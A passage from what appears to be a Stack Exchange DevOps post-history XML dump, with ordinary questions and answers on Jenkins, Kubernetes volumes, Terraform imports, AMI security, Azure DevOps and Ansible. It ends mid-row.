  <row Id="44075" PostHistoryTypeId="5" PostId="14009" RevisionGUID="85a6130a-824b-4576-add2-66c2dc1638b2" CreationDate="2021-05-27T21:56:43.403" UserId="27957" Comment="added 202 characters in body" Text="I've seen this in past roles when I was working a devops role as an employee. &#xD;&#xA;&#xD;&#xA;What should be the purpose of an inhouse devops in a company that already pays for something like [AWS Professional Services](https://aws.amazon.com/professional-services/), in other words, the cloud provider has teams of engineers who are deployed on-prem to solve business needs, put together an infrastructure, and at the same time promote various AWS services to the client.&#xD;&#xA;&#xD;&#xA;Where does the inhouse devops fit in this picture?&#xD;&#xA;&#xD;&#xA;I remember some years ago I was in a remote meeting, solved a task, only to be told by my manager *&quot;okay, we'll give this to our consultant anyway&quot;*. Not only was the remark awkward because the entire team was in the meeting, but I also don't see what the point of doing the task was in the first place if someone else would've been assigned to do it.&#xD;&#xA;&#xD;&#xA;Does it make sense to take on a devops role if it's not for a cloud provider?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="44076" PostHistoryTypeId="50" PostId="13576" RevisionGUID="c2a87f42-1882-44ff-9547-51715baec764" CreationDate="2021-05-28T02:08:15.750" UserId="-1" />
  <row Id="44078" PostHistoryTypeId="2" PostId="14010" RevisionGUID="d7684c7d-0ba4-4783-860f-0f80f848ddb6" CreationDate="2021-05-28T05:34:34.243" UserId="40" Text="Some good reasons could be:&#xD;&#xA;&#xD;&#xA;- The salary of an inhouse devops is pretty sure less expensive as the consultants.&#xD;&#xA;- The consultants are only assigned during a limited period, to temporary add (wo)manpower, e.g. while putting together the infrastructure.&#xD;&#xA;- The consultants come with specific expertise that the inhouse devops do not (yet) have, whereas part of the job of the consultants is to perform knowledge transfer and/or on the job training for the inhouse devops.&#xD;&#xA;- The consultants are there to do the boring parts of the work, whereas the inhouse devops are assigned to the strategic / long term tasks (so that when the consultants leave, the know how doesn’t leave the company also.&#xD;&#xA;&#xD;&#xA;BTW, IMO the best consultants are those who:&#xD;&#xA;&#xD;&#xA;- Say their jobdescription is like “*My job is to make sure that you don’t need me anymore ...*”.&#xD;&#xA;- Never touch the keyboard, and instead always coach / help inhouse devops to have them complete any task (it seems so easy when you see somebody else complete some task, but it is way more difficult to complete it yourself)." ContentLicense="CC BY-SA 4.0" />
  <row Id="44079" PostHistoryTypeId="5" PostId="14009" RevisionGUID="69bb3538-4d32-46c6-b0b0-aef80a0cbfa3" CreationDate="2021-05-28T05:35:10.480" UserId="40" Comment="deleted 11 characters in body" Text="I've seen this in past roles when I was working a devops role as an employee. &#xD;&#xA;&#xD;&#xA;What should be the purpose of an inhouse devops in a company that already pays for something like [AWS Professional Services](https://aws.amazon.com/professional-services/), in other words, the cloud provider has teams of engineers who are deployed on-prem to solve business needs, put together an infrastructure, and at the same time promote various AWS services to the client.&#xD;&#xA;&#xD;&#xA;Where does the inhouse devops fit in this picture?&#xD;&#xA;&#xD;&#xA;I remember some years ago I was in a remote meeting, solved a task, only to be told by my manager *&quot;okay, we'll give this to our consultant anyway&quot;*. Not only was the remark awkward because the entire team was in the meeting, but I also don't see what the point of doing the task was in the first place if someone else would've been assigned to do it.&#xD;&#xA;&#xD;&#xA;Does it make sense to take on a devops role if it's not for a cloud provider?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44080" PostHistoryTypeId="2" PostId="14011" RevisionGUID="562c48e2-b55c-4364-abfd-6ba5bc476d59" CreationDate="2021-05-28T06:45:44.853" UserId="27959" Text="Lets say we have Jobs A , B , C ,D and E.&#xD;&#xA;Job A triggers Job B ; &#xD;&#xA;Job B triggers Job C;&#xD;&#xA;Job C triggers Job D;, &#xD;&#xA;Job D triggers Job E;&#xD;&#xA;&#xD;&#xA;When one of the child job fails for example: Job c fails then email should be sent to recipients of Job A ,Job B and Job c along with console output of A and changeLog ; Console output of Job B and changeLog and Console Output of Job C and changeLog all these info should be sent.!&#xD;&#xA;&#xD;&#xA;Is there any way to do this ?&#xD;&#xA;Need to use groovy script or how?&#xD;&#xA;Any idea please respond.&#xD;&#xA;&#xD;&#xA;Thanks in Advance..." ContentLicense="CC BY-SA 4.0" />
  <row Id="44081" PostHistoryTypeId="1" PostId="14011" RevisionGUID="562c48e2-b55c-4364-abfd-6ba5bc476d59" CreationDate="2021-05-28T06:45:44.853" UserId="27959" Text="How to get ConsoleFull Output,changeLog of upstream job along with downstream jobs console full output and changeLog in jenkins pipeline jobs!" ContentLicense="CC BY-SA 4.0" />
  <row Id="44082" PostHistoryTypeId="3" PostId="14011" RevisionGUID="562c48e2-b55c-4364-abfd-6ba5bc476d59" CreationDate="2021-05-28T06:45:44.853" UserId="27959" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44083" PostHistoryTypeId="2" PostId="14012" RevisionGUID="23d24c2a-a14b-41cb-8d8b-672c1568288f" CreationDate="2021-05-28T08:04:23.183" UserId="6356" Text="I'm encountering issue while trying to use local volume as persistent volume for an influxdb test, here is the config for each components :&#xD;&#xA;&#xD;&#xA;**StorageClass:**&#xD;&#xA;&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ cat storageClass_influx.yml &#xD;&#xA;    apiVersion: storage.k8s.io/v1&#xD;&#xA;    kind: StorageClass&#xD;&#xA;    metadata:&#xD;&#xA;      name: local-storage&#xD;&#xA;    provisioner: kubernetes.io/no-provisioner&#xD;&#xA;    volumeBindingMode: WaitForFirstConsumer&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl apply -f storageClass_influx.yml &#xD;&#xA;    storageclass.storage.k8s.io/local-storage created&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl describe storageClass local-storage&#xD;&#xA;    Name:            local-storage&#xD;&#xA;    IsDefaultClass:  No&#xD;&#xA;    Annotations:     kubectl.kubernetes.io/last-applied-configuration={&quot;apiVersion&quot;:&quot;storage.k8s.io/v1&quot;,&quot;kind&quot;:&quot;StorageClass&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;name&quot;:&quot;local-storage&quot;},&quot;provisioner&quot;:&quot;kubernetes.io/no-provisioner&quot;,&quot;volumeBindingMode&quot;:&quot;WaitForFirstConsumer&quot;}&#xD;&#xA;    &#xD;&#xA;    Provisioner:           kubernetes.io/no-provisioner&#xD;&#xA;    Parameters:            &lt;none&gt;&#xD;&#xA;    AllowVolumeExpansion:  &lt;unset&gt;&#xD;&#xA;    MountOptions:          &lt;none&gt;&#xD;&#xA;    ReclaimPolicy:         Delete&#xD;&#xA;    VolumeBindingMode:     WaitForFirstConsumer&#xD;&#xA;    Events:                &lt;none&gt;&#xD;&#xA;&#xD;&#xA;**Persistent volume**&#xD;&#xA;&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ cat pv.yml &#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolume&#xD;&#xA;    metadata:&#xD;&#xA;      name: influxdb-data&#xD;&#xA;    spec:&#xD;&#xA;      capacity:&#xD;&#xA;        storage: 1Gi&#xD;&#xA;      volumeMode: Filesystem&#xD;&#xA;      accessModes:&#xD;&#xA;      - ReadWriteMany&#xD;&#xA;      persistentVolumeReclaimPolicy: Retain&#xD;&#xA;      storageClassName: local-storage&#xD;&#xA;      local:&#xD;&#xA;        path: /PV_worker01/toto&#xD;&#xA;      nodeAffinity:&#xD;&#xA;        required:&#xD;&#xA;          nodeSelectorTerms:&#xD;&#xA;          - matchExpressions:&#xD;&#xA;            - key: kubernetes.io/hostname&#xD;&#xA;              operator: In&#xD;&#xA;              values:&#xD;&#xA;              - k8s-worker-01&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl apply -f pv.yml &#xD;&#xA;    persistentvolume/influxdb-data created&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl describe pv influxdb-data&#xD;&#xA;    Name:              influxdb-data&#xD;&#xA;    Labels:            &lt;none&gt;&#xD;&#xA;    Annotations:       &lt;none&gt;&#xD;&#xA;    Finalizers:        [kubernetes.io/pv-protection]&#xD;&#xA;    StorageClass:      local-storage&#xD;&#xA;    Status:            Available&#xD;&#xA;    Claim:             &#xD;&#xA;    Reclaim Policy:    Retain&#xD;&#xA;    Access Modes:      RWX&#xD;&#xA;    VolumeMode:        Filesystem&#xD;&#xA;    Capacity:          1Gi&#xD;&#xA;    Node Affinity:     &#xD;&#xA;      Required Terms:  &#xD;&#xA;        Term 0:        kubernetes.io/hostname in [k8s-worker-01]&#xD;&#xA;    Message:           &#xD;&#xA;    Source:&#xD;&#xA;        Type:  LocalVolume (a persistent volume backed by local storage on a node)&#xD;&#xA;        Path:  /PV_worker01/toto&#xD;&#xA;    Events:    &lt;none&gt;&#xD;&#xA;&#xD;&#xA;**PVC**&#xD;&#xA;&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ cat pvc-influxdb.yml &#xD;&#xA;    apiVersion: v1  &#xD;&#xA;    kind: PersistentVolumeClaim  &#xD;&#xA;    metadata:  &#xD;&#xA;      name: influxdb-data-pvc &#xD;&#xA;    spec:  &#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteMany  &#xD;&#xA;      storageClassName: local-storage&#xD;&#xA;      resources:  &#xD;&#xA;        requests:  &#xD;&#xA;          storage: 500Mi&#xD;&#xA;    &#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl apply -f pvc-influxdb.yml &#xD;&#xA;    persistentvolumeclaim/influxdb-data-pvc created&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl describe pvc influxdb-data-pvc&#xD;&#xA;    Name:          influxdb-data-pvc&#xD;&#xA;    Namespace:     default&#xD;&#xA;    StorageClass:  local-storage&#xD;&#xA;    Status:        Pending&#xD;&#xA;    Volume:        &#xD;&#xA;    Labels:        &lt;none&gt;&#xD;&#xA;    Annotations:   &lt;none&gt;&#xD;&#xA;    Finalizers:    [kubernetes.io/pvc-protection]&#xD;&#xA;    Capacity:      &#xD;&#xA;    Access Modes:  &#xD;&#xA;    VolumeMode:    Filesystem&#xD;&#xA;    Used By:       &lt;none&gt;&#xD;&#xA;    Events:&#xD;&#xA;      Type    Reason                Age               From                         Message&#xD;&#xA;      ----    ------                ----              ----                         -------&#xD;&#xA;      Normal  WaitForFirstConsumer  8s (x2 over 11s)  persistentvolume-controller  waiting for first consumer to be created before binding&#xD;&#xA;&#xD;&#xA;**And the container** &#xD;&#xA;&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ cat influxdb-deploy_clean.yml &#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: influxdb-deployment&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: influxdb&#xD;&#xA;      minReadySeconds: 5&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: influxdb&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - image: influxdb:latest&#xD;&#xA;              name: influxdb&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 8086&#xD;&#xA;              volumeMounts:&#xD;&#xA;                - mountPath: /var/lib/influxdb&#xD;&#xA;                  name: influxdb-data&#xD;&#xA;                - mountPath: /etc/influxdb/influxdb.conf&#xD;&#xA;                  name: influxdb-config&#xD;&#xA;                  subPath: influxdb.conf&#xD;&#xA;                  readOnly: true&#xD;&#xA;              envFrom:&#xD;&#xA;                - secretRef:&#xD;&#xA;                    name: influxdb-secrets&#xD;&#xA;          volumes:&#xD;&#xA;            - name: influxdb-data&#xD;&#xA;              persistentVolumeClaim:&#xD;&#xA;                claimName: influxdb-data-pvc&#xD;&#xA;            - name: influxdb-config&#xD;&#xA;              configMap:&#xD;&#xA;                name: influxdb-config&#xD;&#xA;    &#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl apply -f influxdb-deploy_clean.yml &#xD;&#xA;    deployment.apps/influxdb-deployment created&#xD;&#xA;    pierre@latpopo:~/Rancher/k8s/cluster_test-pbe$ kubectl describe deploy influxdb-deployment&#xD;&#xA;    Name:                   influxdb-deployment&#xD;&#xA;    Namespace:              default&#xD;&#xA;    CreationTimestamp:      Fri, 28 May 2021 09:56:48 +0200&#xD;&#xA;    Labels:                 &lt;none&gt;&#xD;&#xA;    Annotations:            deployment.kubernetes.io/revision: 1&#xD;&#xA;    Selector:               app=influxdb&#xD;&#xA;    Replicas:               1 desired | 1 updated | 1 total | 0 available | 1 unavailable&#xD;&#xA;    StrategyType:           RollingUpdate&#xD;&#xA;    MinReadySeconds:        5&#xD;&#xA;    RollingUpdateStrategy:  25% max unavailable, 25% max surge&#xD;&#xA;    Pod Template:&#xD;&#xA;      Labels:  app=influxdb&#xD;&#xA;      Containers:&#xD;&#xA;       influxdb:&#xD;&#xA;        Image:      influxdb:latest&#xD;&#xA;        Port:       8086/TCP&#xD;&#xA;        Host Port:  0/TCP&#xD;&#xA;        Environment Variables from:&#xD;&#xA;          influxdb-secrets  Secret  Optional: false&#xD;&#xA;        Environment:        &lt;none&gt;&#xD;&#xA;        Mounts:&#xD;&#xA;          /etc/influxdb/influxdb.conf from influxdb-config (ro,path=&quot;influxdb.conf&quot;)&#xD;&#xA;          /var/lib/influxdb from influxdb-data (rw)&#xD;&#xA;      Volumes:&#xD;&#xA;       influxdb-data:&#xD;&#xA;        Type:       PersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace)&#xD;&#xA;        ClaimName:  influxdb-data-pvc&#xD;&#xA;        ReadOnly:   false&#xD;&#xA;       influxdb-config:&#xD;&#xA;        Type:      ConfigMap (a volume populated by a ConfigMap)&#xD;&#xA;        Name:      influxdb-config&#xD;&#xA;        Optional:  false&#xD;&#xA;    Conditions:&#xD;&#xA;      Type           Status  Reason&#xD;&#xA;      ----           ------  ------&#xD;&#xA;      Available      False   MinimumReplicasUnavailable&#xD;&#xA;      Progressing    True    ReplicaSetUpdated&#xD;&#xA;    OldReplicaSets:  &lt;none&gt;&#xD;&#xA;    NewReplicaSet:   influxdb-deployment-9d9bfdc59 (1/1 replicas created)&#xD;&#xA;    Events:&#xD;&#xA;      Type    Reason             Age   From                   Message&#xD;&#xA;      ----    ------             ----  ----                   -------&#xD;&#xA;      Normal  ScalingReplicaSet  20s   deployment-controller  Scaled up replica set influxdb-deployment-9d9bfdc59 to 1&#xD;&#xA;&#xD;&#xA;**Any ideas why I get :**&#xD;&#xA;&#xD;&#xA;    FailedMount (8) 	35 secs ago 	MountVolume.NewMounter initialization failed for volume &quot;influxdb-data&quot; : path &quot;/PV_worker01/toto&quot; does not exist &#xD;&#xA;&#xD;&#xA;**Eventhough :**&#xD;&#xA;&#xD;&#xA;    root@k8s-worker-01:~# ls -l /PV_worker01/&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x 2 root root 4096 May 27 17:27 toto&#xD;&#xA;    -rw-r--r-- 1 root root   10 May 27 11:15 toto.txt&#xD;&#xA;&#xD;&#xA;I'm kind of lost here ...." ContentLicense="CC BY-SA 4.0" />
  <row Id="44084" PostHistoryTypeId="1" PostId="14012" RevisionGUID="23d24c2a-a14b-41cb-8d8b-672c1568288f" CreationDate="2021-05-28T08:04:23.183" UserId="6356" Text="trying to use local volume for influxdb test failing" ContentLicense="CC BY-SA 4.0" />
  <row Id="44085" PostHistoryTypeId="3" PostId="14012" RevisionGUID="23d24c2a-a14b-41cb-8d8b-672c1568288f" CreationDate="2021-05-28T08:04:23.183" UserId="6356" Text="&lt;rancher&gt;&lt;kubernetes-volume&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44086" PostHistoryTypeId="2" PostId="14013" RevisionGUID="2508dbbb-2ee9-40aa-af37-98918e57d5e6" CreationDate="2021-05-28T14:55:36.060" UserId="27706" Text="I'm in the middle of importing a bunch of AWS resources into Terraform by doing the following:&#xD;&#xA;&#xD;&#xA;* put a stub resource into a `.tf` file&#xD;&#xA;* `terraform import` the resource (using the same address)&#xD;&#xA;* copy the relevant config out of the output of `terraform show -no-color` into a new `.tf` file&#xD;&#xA;&#xD;&#xA;This has worked before, but now I'm doing a bunch of security groups and it doesn't seem to be working. I'll do an import:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform import aws_security_group.rds-launch-wizard-2 sg-XXXXXXXX&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This succeeds. I would expect `aws_security_group.rds-launch-wizard-2` to show up in the output of `terraform state list` or `terraform show`, but it doesn't. I feel like maybe I'm missing something easy? Thanks for any help.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44087" PostHistoryTypeId="1" PostId="14013" RevisionGUID="2508dbbb-2ee9-40aa-af37-98918e57d5e6" CreationDate="2021-05-28T14:55:36.060" UserId="27706" Text="Resources don't seem to show up in Terraform state after import" ContentLicense="CC BY-SA 4.0" />
  <row Id="44088" PostHistoryTypeId="3" PostId="14013" RevisionGUID="2508dbbb-2ee9-40aa-af37-98918e57d5e6" CreationDate="2021-05-28T14:55:36.060" UserId="27706" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44089" PostHistoryTypeId="2" PostId="14014" RevisionGUID="0d139b8e-28a8-4c52-a22e-ff41c83ad23a" CreationDate="2021-05-28T14:55:36.060" UserId="27706" Text="I figured it out. The stub resource has to have a provider that is configured with the proper AWS region. All these security groups were in us-west-2. You need this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;rds-launch-wizard-2&quot; { provider = aws.us_west_2 }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;instead of this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;rds-launch-wizard-2&quot; {}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This assumes you have a provider already configured thus:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  region  = &quot;us-west-2&quot;&#xD;&#xA;  alias   = &quot;us_west_2&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="44092" PostHistoryTypeId="2" PostId="14016" RevisionGUID="0b23d612-28b3-4098-a8bd-e78b660ca6d9" CreationDate="2021-05-28T18:31:33.893" UserId="27970" Text="[This ThreatPost article][1] largely indicates that Community AMIs are not to be trusted and that Amazon makes no guarantee of their security, nor even an attempt to validate their safeness--as evidenced by multiple instances of Monero-mining malware embedded in shared AMIs&#xD;&#xA;&#xD;&#xA;Quoting one article in [the AWS documentation][2]:&#xD;&#xA;&#xD;&#xA;&quot;You use a shared AMI at your own risk. Amazon can't vouch for the integrity or security of AMIs shared by other Amazon EC2 users. Therefore, you should treat shared AMIs as you would any foreign code that you might consider deploying in your own data center and perform the appropriate due diligence. We recommend that you get an AMI from a trusted source.&quot;&#xD;&#xA;&#xD;&#xA;On the other hand, [another page in the the AWS docs][3] says:&#xD;&#xA;&#xD;&#xA;&quot;All products and their related metadata are reviewed when they're submitted to ensure that they meet or exceed current AWS Marketplace policies. These policies are reviewed and adjusted to meet evolving security guidelines. AWS Marketplace continuously scans your products to verify that they meet changes to the security guidelines. If products fall out of compliance, we might require that you update your AMI product to meet new standards. Likewise, if a newly discovered vulnerability is found to affect the AMI, we will ask you to provide an updated AMI with the relevant updates in place. You must use the self-service AMI scanning tool before submitting your AMI. This tool helps ensure that the AMI meets AWS Marketplace policies.&quot;&#xD;&#xA;&#xD;&#xA;These seem to contradict each other. When was this self-service AMI scanning tool put into play? Is it effective? &#xD;&#xA;&#xD;&#xA;  [1]: https://threatpost.com/malicious-aws-community-amis/158555/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharing-amis.html&#xD;&#xA;  [3]: https://docs.aws.amazon.com/marketplace/latest/userguide/product-and-ami-policies.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="44093" PostHistoryTypeId="1" PostId="14016" RevisionGUID="0b23d612-28b3-4098-a8bd-e78b660ca6d9" CreationDate="2021-05-28T18:31:33.893" UserId="27970" Text="Did Amazon recently improve its AMI security practices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44094" PostHistoryTypeId="3" PostId="14016" RevisionGUID="0b23d612-28b3-4098-a8bd-e78b660ca6d9" CreationDate="2021-05-28T18:31:33.893" UserId="27970" Text="&lt;amazon-web-services&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44095" PostHistoryTypeId="50" PostId="13788" RevisionGUID="4ab2b989-90ae-43bc-aca9-25aa11383956" CreationDate="2021-05-28T19:04:20.373" UserId="-1" />
  <row Id="44096" PostHistoryTypeId="2" PostId="14017" RevisionGUID="97fc0052-ae50-425a-b658-d33db2d981cf" CreationDate="2021-05-28T22:09:43.723" UserId="11288" Text="Coming from the DevOps consulting background, on top of what @pierre.virens has mentioned, &#xD;&#xA;&#xD;&#xA;1. Consultants don't have any skin in the game and should not be in charge of leading your DevOps strategy in the long run. You need to have the in-house expertise to lead major initiatives. Do high-value work yourself and hire consultants to deliver well-scoped and solved problems.&#xD;&#xA;&#xD;&#xA;2. My team provided support for Kubernetes and Azure-related DevOps services. Most of the time, what we built was complicated, and our customers were not ready to maintain or support what was delivered. We spent a good amount of time doing knowledge transfers, but it quickly became overwhelming without a good in-house team.&#xD;&#xA;&#xD;&#xA;3. I would not recommend hiring DevOps consultants to coach only. I have done coaching and hands-off engagements and I believe that the customers did not get the full worth of their money. You should embed consultants in your team and train your team by doing stuff side-by-side. Part coaching and part delivery of the actual work. &#xD;&#xA;&#xD;&#xA;4. In most cases, cloud vendors work with existing consultants in their network and rebrand them as &quot;their&quot; team. You still need a good amount of technical knowledge and leadership to get the most out of any consultant. " ContentLicense="CC BY-SA 4.0" />
  <row Id="44098" PostHistoryTypeId="2" PostId="14018" RevisionGUID="fb70f079-eb82-4327-a809-800f89110d01" CreationDate="2021-05-29T05:12:30.843" UserId="27595" Text="# Set up&#xD;&#xA;1. There are two artefacts that are built with branch filters:&#xD;&#xA;    1. _artefact-dev for dev&#xD;&#xA;    2. _artefact-master for master&#xD;&#xA;2. There are two deployment stages:&#xD;&#xA;    1. Dev to stage 0&#xD;&#xA;    2. Master to stage 1&#xD;&#xA;&#xD;&#xA;# Problems&#xD;&#xA;1. Commits to dev branch deploys to stage 0 and 1. It is expected to only be deployed to stage 0. These are the settings for stage 0:&#xD;&#xA;    1. Trigger:&#xD;&#xA;        1. After release&#xD;&#xA;    2. Artefact filters&#xD;&#xA;        1. Status: Enabled&#xD;&#xA;        2. Type: Include&#xD;&#xA;        3. Branch: dev&#xD;&#xA;    3. Pull request deployment:&#xD;&#xA;        1. Status: Enabled&#xD;&#xA;2. Commits to master branch deploys to stage 0 and 1. It is expected to only be deployed to stage 1. These are the settings for stage 1:&#xD;&#xA;    1. Trigger:&#xD;&#xA;        1. After release&#xD;&#xA;    2. Artefact filters&#xD;&#xA;        1. Status: Enabled&#xD;&#xA;        2. Type: Include&#xD;&#xA;        3. Branch: master&#xD;&#xA;    3. Pull request deployment:&#xD;&#xA;        1. Status: Enabled&#xD;&#xA;&#xD;&#xA;How do we restrict dev deployments to stage 0 and master to stage 1?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44099" PostHistoryTypeId="1" PostId="14018" RevisionGUID="fb70f079-eb82-4327-a809-800f89110d01" CreationDate="2021-05-29T05:12:30.843" UserId="27595" Text="How to configure Azure DevOps so that the artefacts of dev only releases to stage 0 and master to stage 1?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44100" PostHistoryTypeId="3" PostId="14018" RevisionGUID="fb70f079-eb82-4327-a809-800f89110d01" CreationDate="2021-05-29T05:12:30.843" UserId="27595" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;&lt;azure-artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44101" PostHistoryTypeId="5" PostId="8938" RevisionGUID="1e184579-dc13-4658-96ea-50cc0b79859c" CreationDate="2021-05-29T11:42:39.973" UserId="-1" Comment="Clarify markup." Text="You don't need to be a privileged user (in your local machine) in order to execute Ansible playbook.&#xD;&#xA;&#xD;&#xA;When using `become`, Ansible allows you to ‘become’ another user, different from the user that logged into the machine (remote user). &#xD;&#xA;&#xD;&#xA;For more details see [Understanding Privilege Escalation][1]&#xD;&#xA;&#xD;&#xA;In your inventory of hosts `/etc/ansible/host` you have specified a group of IPs with root user while you are specifying a `remote_user: ronenal` in your playbook.&#xD;&#xA;&#xD;&#xA;So you need to run ansible-playbook with --ask-become-pass or -K. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/become.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="44102" PostHistoryTypeId="24" PostId="8938" RevisionGUID="1e184579-dc13-4658-96ea-50cc0b79859c" CreationDate="2021-05-29T11:42:39.973" Comment="Proposed by 103.231.91.232|c140c31a-5c64-47d1-83b6-f3608787a3b8 approved by 40 edit id of 1397" ContentLicense="CC BY-SA 4.0" />
  <row Id="44103" PostHistoryTypeId="5" PostId="14011" RevisionGUID="2888260b-6e11-4c3b-ba9a-cfec13adfef1" CreationDate="2021-05-29T17:36:24.967" UserId="40" Comment="deleted 50 characters in body" Text="Lets say we have Jobs A , B , C ,D and E.&#xD;&#xA;Job A triggers Job B ; &#xD;&#xA;Job B triggers Job C;&#xD;&#xA;Job C triggers Job D;, &#xD;&#xA;Job D triggers Job E;&#xD;&#xA;&#xD;&#xA;When one of the child job fails for example: Job c fails then email should be sent to recipients of Job A ,Job B and Job c along with console output of A and changeLog ; Console output of Job B and changeLog and Console Output of Job C and changeLog all these info should be sent.!&#xD;&#xA;&#xD;&#xA;Is there any way to do this ?&#xD;&#xA;Need to use groovy script or how?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44104" PostHistoryTypeId="2" PostId="14019" RevisionGUID="8b0144ec-e4e7-408e-861e-e123586d940b" CreationDate="2021-05-29T19:29:48.527" UserId="12138" Text="There are many AWS services which requires a network interface such as `AWS load balancers`, `Lambda`, `NAT gateway`, `VPC endpoints` etc. For each AWS load balancer, it may use up to 2 IPs and 1 IP for 1 lambda function. &#xD;&#xA;I would recommend to check the `network interface` section under EC2 service which will show you all the IPs which are currently being used and attached to EC2, Lambda, load balancer or some other service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTE:** For each subnet, 5 IP addresses will be reserved by AWS. So, if you have a subnet with /28 subnet mask (16 available IP addresses ), in AWS, you will get only 11 IPs which can be used." ContentLicense="CC BY-SA 4.0" />
  <row Id="44105" PostHistoryTypeId="2" PostId="14020" RevisionGUID="a19881c3-707b-402e-8e0d-e4650cb8b8ab" CreationDate="2021-05-29T20:54:20.307" UserId="27986" Text="I am completely new to using ansible (only my second day working with it), I have a playbook which is as follows:&#xD;&#xA;```&#xD;&#xA;- hosts: all&#xD;&#xA;  become: yes&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;  - name: add Kubernetes apt-key&#xD;&#xA;    apt_key:&#xD;&#xA;      url: &quot;https://packages.cloud.google.com/apt/doc/apt-key.gpg&quot;&#xD;&#xA;      state: present&#xD;&#xA;&#xD;&#xA;  - name: add Kubernetes' APT repository&#xD;&#xA;    apt_repository:&#xD;&#xA;      repo: deb http://apt.kubernetes.io/ kubernetes-xenial main&#xD;&#xA;      state: present&#xD;&#xA;```&#xD;&#xA;I need to remove the hardcoded apt-key url so that I can define the apt-key per-host (sorry if my question is not clear I'm struggling to understand what I need to do myself). What I'm trying do is create a kubernetes cluster that has a master and a single worker node. I am currently doing a coding challenge that is open so I'm allowed to searched the internet for answers, I've been given a week to complete.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44106" PostHistoryTypeId="1" PostId="14020" RevisionGUID="a19881c3-707b-402e-8e0d-e4650cb8b8ab" CreationDate="2021-05-29T20:54:20.307" UserId="27986" Text="how can I replace the hardcoded kubernetes apt-key url, so that I can define it per-host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44107" PostHistoryTypeId="3" PostId="14020" RevisionGUID="a19881c3-707b-402e-8e0d-e4650cb8b8ab" CreationDate="2021-05-29T20:54:20.307" UserId="27986" Text="&lt;kubernetes&gt;&lt;ansible&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44108" PostHistoryTypeId="2" PostId="14021" RevisionGUID="e3f15a3e-8d99-4461-b292-2d95ca136dac" CreationDate="2021-05-29T21:04:05.930" UserId="26072" Text="I'm creating a provisioning mechanism in Azure Devops.  &#xD;&#xA;My company works with an onPrem Active directory, that is synced to Azure Active Directory.  &#xD;&#xA;When I try to add an AAD group as member to the project; it seems like I can only materialize Office365 groups. As soon as I give the ObjectID of a security group (that was synced to aad); it will throw an error the group was not found in the backing domain.  &#xD;&#xA;Through the GUI I **can** add these synced security groups.&#xD;&#xA;&#xD;&#xA;I can't find any documentation saying that I can't use these groups.  &#xD;&#xA;Does anyone know if there is a solution for this?&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    $membershipUri = 